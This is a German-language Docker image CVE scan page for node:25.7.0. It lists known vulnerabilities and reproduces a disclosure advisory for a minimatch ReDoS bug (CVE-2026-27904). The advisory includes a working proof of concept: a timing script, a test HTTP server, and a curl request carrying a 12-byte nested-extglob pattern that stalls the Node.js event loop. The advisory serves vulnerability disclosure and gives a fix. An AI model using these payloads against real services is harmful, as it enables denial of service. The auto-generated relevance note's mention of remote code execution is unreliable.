Neues Image Scannen

CVE-Scan für node:25.7.0

Docker-Image-Sicherheitslücken-Scanner

169 Bekannte Sicherheitslücken in diesem Docker-Image

0
Kritisch
2
Hoch
5
Mittel
158
Niedrig
0
Info/ Unbestimmt/ Unbekannt
CVE-IDSchweregradPaketBetroffene VersionBehobene VersionCVSS-Score
CVE-2026-27904highpkg:npm/minimatch@10.2.2>=10.0.0,<10.2.310.2.37.5

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Relevance:

The CVE-2026-27904 vulnerability in the `library/node:25.7.0` Docker image could be critical if the Node.js application processes untrusted input or interacts with external systems, as it might allow exploitation (e.g., remote code execution or denial of service). Its relevance depends on the application's exposure to attack vectors; isolated or read-only workloads may face lower risk. Always patch or upgrade if the application is exposed to potential threats. (Note: Relevance analysis is automatically generated and may require verification.)

Package URL(s):
  • pkg:npm/minimatch@10.2.2
CVE-2026-27903highpkg:npm/minimatch@10.2.2>=10.0.0,<10.2.310.2.37.5
CVE-2025-61147mediumlibde265<=1.0.11-1+deb12u2not fixed6.2
CVE-2026-23865mediumfreetype<=2.12.1+dfsg-5+deb12u4not fixed5.3
CVE-2025-45582mediumtar>=1.34+dfsg-1.2+deb12u1not fixed4.1
CVE-2007-3996mediumlibwmf<=0.2.12-5.1not fixed4.1
CVE-2009-3546mediumlibwmf<=0.2.12-5.1not fixed4.1
CVE-2024-52005lowgit<=1:2.39.5-0+deb12u3not fixed3.1
CVE-2007-5686lowshadow<=1:4.13+dfsg1-1+deb12u2not fixed3.1
CVE-2025-1352lowelfutils<=0.188-2.1not fixed3.1

Schweregradstufen

Ausnutzung könnte zu schwerwiegenden Konsequenzen wie Systemkompromittierung oder Datenverlust führen. Erfordert sofortige Aufmerksamkeit.

Sicherheitslücke könnte relativ leicht ausgenutzt werden und erhebliche Auswirkungen haben. Erfordert zeitnahe Aufmerksamkeit.

Ausnutzung ist möglich, erfordert aber möglicherweise spezifische Bedingungen. Auswirkungen sind moderat. Sollte zeitnah behoben werden.

Ausnutzung ist schwierig oder die Auswirkungen sind minimal. Kann bei Gelegenheit oder im Rahmen der regulären Wartung behoben werden.

Schweregrad ist nicht bestimmt, informativ oder vernachlässigbar. Überprüfung je nach Kontext.

Sliplane Icon
Über Sliplane

Sliplane ist eine einfache Container-Hosting-Lösung. Es ermöglicht dir, deine Container innerhalb von Minuten in der Cloud zu deployen und bei Bedarf zu skalieren.

Sliplane kostenlos testen

Über den CVE-Scanner

Der CVE-Scanner ist ein leistungsstarkes Tool, das dir hilft, bekannte Sicherheitslücken in deinen Docker-Images zu identifizieren. Indem deine Images mit einer umfassenden Datenbank von Common Vulnerabilities and Exposures (CVEs) abgeglichen werden, kannst du sicherstellen, dass deine Anwendungen sicher und auf dem neuesten Stand sind. Für weitere Details, schau dir die NIST CVE-Datenbank an.

Warum CVE-Scanning für deine Docker-Images wichtig ist

Mit dem Anstieg von Supply-Chain-Angriffen ist die Sicherung deiner Anwendungen wichtiger denn je. CVE-Scanning spielt eine entscheidende Rolle bei der Identifizierung von Sicherheitslücken, die von Angreifern ausgenutzt werden könnten, insbesondere solche, die durch Abhängigkeiten und Drittanbieter-Komponenten eingeführt werden. Regelmäßiges Scannen und Sichern deiner Docker-Images ist essenziell, um deine Anwendungen vor diesen sich entwickelnden Bedrohungen zu schützen.

Was ist eine CVE?

CVE steht für Common Vulnerabilities and Exposures. Es ist ein standardisierter Bezeichner für bekannte Sicherheitslücken, der Entwicklern und Organisationen ermöglicht, potenzielle Risiken effektiv zu verfolgen und zu beheben. Für weitere Informationen, besuche cve.mitre.org.

Vorteile des CVE-Scannens

  • Erhöhte Sicherheit: Erkenne und behebe Sicherheitslücken, bevor sie ausgenutzt werden.
  • Compliance: Erfülle Branchenstandards und regulatorische Anforderungen für sichere Software.
  • Proaktive Wartung: Bleibe potenziellen Bedrohungen einen Schritt voraus, indem du Sicherheitslücken frühzeitig behebst.

Wie der CVE-Scanner funktioniert

Der CVE-Scanner analysiert deine Docker-Images anhand einer umfassenden Datenbank bekannter Sicherheitslücken. Er nutzt Docker Scout im Hintergrund, um detaillierte Einblicke in betroffene Pakete, Schweregradstufen und verfügbare Fixes zu liefern, sodass du sofort handeln kannst.

Die Bedeutung des Patchens von Docker-Images

Das Patchen deiner Docker-Images ist ein entscheidender Schritt, um die Sicherheit und Stabilität deiner Anwendungen zu gewährleisten. Durch regelmäßige Updates deiner Images mit den neuesten Sicherheitspatches kannst du bekannte Sicherheitslücken beheben und das Risiko einer Ausnutzung reduzieren. Dieser proaktive Ansatz stellt sicher, dass deine Anwendungen widerstandsfähig gegenüber neuen Bedrohungen bleiben und hilft, die Einhaltung von Sicherheitsstandards zu gewährleisten.

Du willst dieses Image deployen?

Probiere Sliplane aus – eine einfache Docker-Hosting-Lösung. Sie bietet dir die Tools, um deine containerisierten Anwendungen bereitzustellen, zu verwalten und zu skalieren.